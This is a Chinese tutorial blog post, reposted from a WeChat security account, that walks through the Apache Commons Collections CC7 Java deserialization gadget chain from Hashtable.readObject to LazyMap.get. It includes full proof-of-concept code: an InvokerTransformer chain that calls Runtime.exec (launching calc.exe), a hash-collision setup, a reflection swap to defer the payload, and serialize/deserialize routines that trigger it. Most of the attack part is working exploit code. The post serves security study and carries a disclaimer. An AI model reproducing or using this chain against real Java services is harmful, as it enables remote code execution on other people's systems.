反序列化学习之路-CC7

admin 2024年7月12日07:30:17评论13 views字数 5294阅读17分38秒阅读模式

前言

和CC5反序列化链相似,CC7也是后半条LazyMap执行命令链不变,但是中间过程通过AbstractMap.equals()触发LazyMap.get()方法

 

1.环境安装

 

我们可以接着使用之前已经搭建好的环境,具体过程可以看CC1分析文章中的环境安装部分

反序列化学习之路-Apache Commons Collections(CC1)

2.路线分析

和前言中我们说的一样, CC7是后半条链不变,但是中间通过AbstractMap.equals()触发LazyMap.get()方法

我们先寻找到AbstractMap.equals()

反序列化学习之路-CC7

我们可以看到判断中调用了get方法,接着寻找equals方法调用

反序列化学习之路-CC7

在AbstractMapDecorator类中发现了equals方法的调用

反序列化学习之路-CC7

反序列化学习之路-CC7

在Hashtable类中reconstitutionPut方法发现了equals的调用,并且本身也被readObject调用

反序列化学习之路-CC7

反序列化学习之路-CC7

2.跑通路线

 

从我们上面的分析可以初步确定我们链的路线为:

Hashtable.reaObjectHashtable.reconstitutionPut    AbstractMapDecorator.equals    AbstractMap.equals        LazyMap.get

让我们来跑通这条路线

首先先把后半条链LazyMap.get写出来

public class test {    public static void main(String[] args) throws Exception {        Transformer[] transformers = new Transformer[]{                new ConstantTransformer(Class.class),                new InvokerTransformer(                        "forName",                        new Class[] {String.class},                        new Object[] {"java.lang.Runtime"}                ),                new InvokerTransformer(                        "getMethod",                        new Class[] {String.class,Class[].class},                        new Object[] {"getRuntime",new Class[0]}                ),                new InvokerTransformer(                        "invoke",                        new Class[] {Object.class, Object[].class },                        new Object[] {null, new Object[0] }),                new InvokerTransformer(                        "exec",                        new Class[] {String.class},                        new String[]{"C:\windows\system32\calc.exe"}                )
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);        Map map = new HashMap();        Map Lazy = LazyMap.decorate(map,chainedTransformer);        #Lazy.get(Runtime.getRuntime());        }

我们前半条链从前往后分析,在入口readObject处主要触发的是reconstitutionPut方法中的e.key.equals(key),如果想触发我们需要先进入for循环,但是第一次的tab[index] 是没有值的,必须执行完第一次reconstitutionPut方法才能够赋值

反序列化学习之路-CC7

所以刚开始的hashtable我们需要多个元素才能进入readObject中的for循环,以此来进行多次的reconstitutionPut方法

 

在这里需要注意一下,如果两个hashmap相同的话会直接在hashtable put的时候认为是一个元素,之后就不会在反序列化的时候触发equals代码

反序列化学习之路-CC7

 

在reconstitutionPut方法中想要触发equals方法,还需要满足e.hash == hash,但是e.hash是第一次咱们计算哈希获得的值,而hash是第二次,所以得保持两次hash计算相同

 

所以这一部分的代码为

Map map = new HashMap();Map map2 = new HashMap();Map Lazy = LazyMap.decorate(map, chainedTransformer);Map Lazy2 = LazyMap.decorate(map2, chainedTransformer);Lazy.put("yy",1);Lazy2.put("zZ",1);
Hashtable hashtable = new Hashtable();hashtable.put(Lazy,1);hashtable.put(Lazy2,2);

 

Poc中会把LazyMap传入,会调用lazyMap的equal方法,但它本身是没有这个方法的,所以会调用它的父类AbstractoMapDecorator的equal方法

反序列化学习之路-CC7

反序列化学习之路-CC7

 

AbstractoMapDecorator的equals方法中map为HashMap,但是HashMap本身是没有equals方法的,会跳转到AbstractMap.equals方法

反序列化学习之路-CC7

 

到这里,就回到咱们熟悉的LazyMap执行命令了

 

 

3.整体POC

 

还需要注意的是我们不想在序列化中执行我们的payload,所以先在最初指定一个空的chainedTransformer,我们在最后反射设置回我们要执行的命令

 

在最后我们还需要把Lazy2中去掉yy,因为在HashTable.put中也会调用到equals,当调用完equals()方法后,LazyMap2的key中就会增加一个yy键

package org.example;
import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.map.LazyMap;
import java.io.*;import java.lang.reflect.Field;import java.util.HashMap;import java.util.Hashtable;import java.util.Map;
public class CC7 {    public static void main(String[] args) throws Exception {        Transformer[] transformers = new Transformer[]{                new ConstantTransformer(Class.class),                new InvokerTransformer(                        "forName",                        new Class[]{String.class},                        new Object[]{"java.lang.Runtime"}                ),                new InvokerTransformer(                        "getMethod",                        new Class[]{String.class, Class[].class},                        new Object[]{"getRuntime", new Class[0]}                ),                new InvokerTransformer(                        "invoke",                        new Class[]{Object.class, Object[].class},                        new Object[]{null, new Object[0]}),                new InvokerTransformer(                        "exec",                        new Class[]{String.class},                        new String[]{"C:\windows\system32\calc.exe"}                )
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[] {});        Map map = new HashMap();        Map map2 = new HashMap();        Map Lazy = LazyMap.decorate(map, chainedTransformer);        Map Lazy2 = LazyMap.decorate(map2, chainedTransformer);        Lazy.put("yy",1);        Lazy2.put("zZ",1);
        Hashtable hashtable = new Hashtable();        hashtable.put(Lazy,1);        hashtable.put(Lazy2,2);
        Class c = ChainedTransformer.class;        Field field = c.getDeclaredField("iTransformers");        field.setAccessible(true);        field.set(chainedTransformer, transformers);        Lazy2.remove("yy");
        serializable(hashtable);
//        unserializable();    }    private static  Object unserializable() throws Exception, IOException, ClassNotFoundException{        FileInputStream fis = new FileInputStream("obj");        ObjectInputStream ois = new ObjectInputStream(fis);        Object o = ois.readObject();        return o;    }
    private static void serializable(Object o) throws IOException, ClassNotFoundException{        FileOutputStream fos = new FileOutputStream("obj");        ObjectOutputStream os = new ObjectOutputStream(fos);        os.writeObject(o);        os.close();
    }}

 

我们反序列化刚才生成的文件

package org.example;import java.lang.annotation.Annotation;
import com.oracle.jrockit.jfr.ValueDefinition;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.map.TransformedMap;
import java.io.*;import java.lang.reflect.Constructor;import java.util.HashMap;import java.util.Map;

public class CC {    public static void main(String[] args) throws Exception {        //命令执行代码        unserializable();    }
    private static  Object unserializable() throws Exception,IOException, ClassNotFoundException{        FileInputStream fis = new FileInputStream("obj");        ObjectInputStream ois = new ObjectInputStream(fis);        Object o = ois.readObject();        return o;    }
}

 

反序列化学习之路-CC7

整体的利用链为:

Hashtable.readObjectHashtable.reconstitutionPut   AbstractMapDecorator.equals        AbstractMap.equals           LazyMap.get()            ChainedTransformer.transform()                        ConstantTransformer.transform()                            InvokerTransformer.transform()                                Method.invoke()                                        Class.getMethod()                            InvokerTransformer.transform()                    Method.invoke()                                            Runtime.getRuntime()                            InvokerTransformer.transform()                    Method.invoke()                                            Runtime.exec()

原文始发于微信公众号(呼啦啦安全):反序列化学习之路-CC7

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年7月12日07:30:17
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   反序列化学习之路-CC7https://cn-sec.com/archives/2934752.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息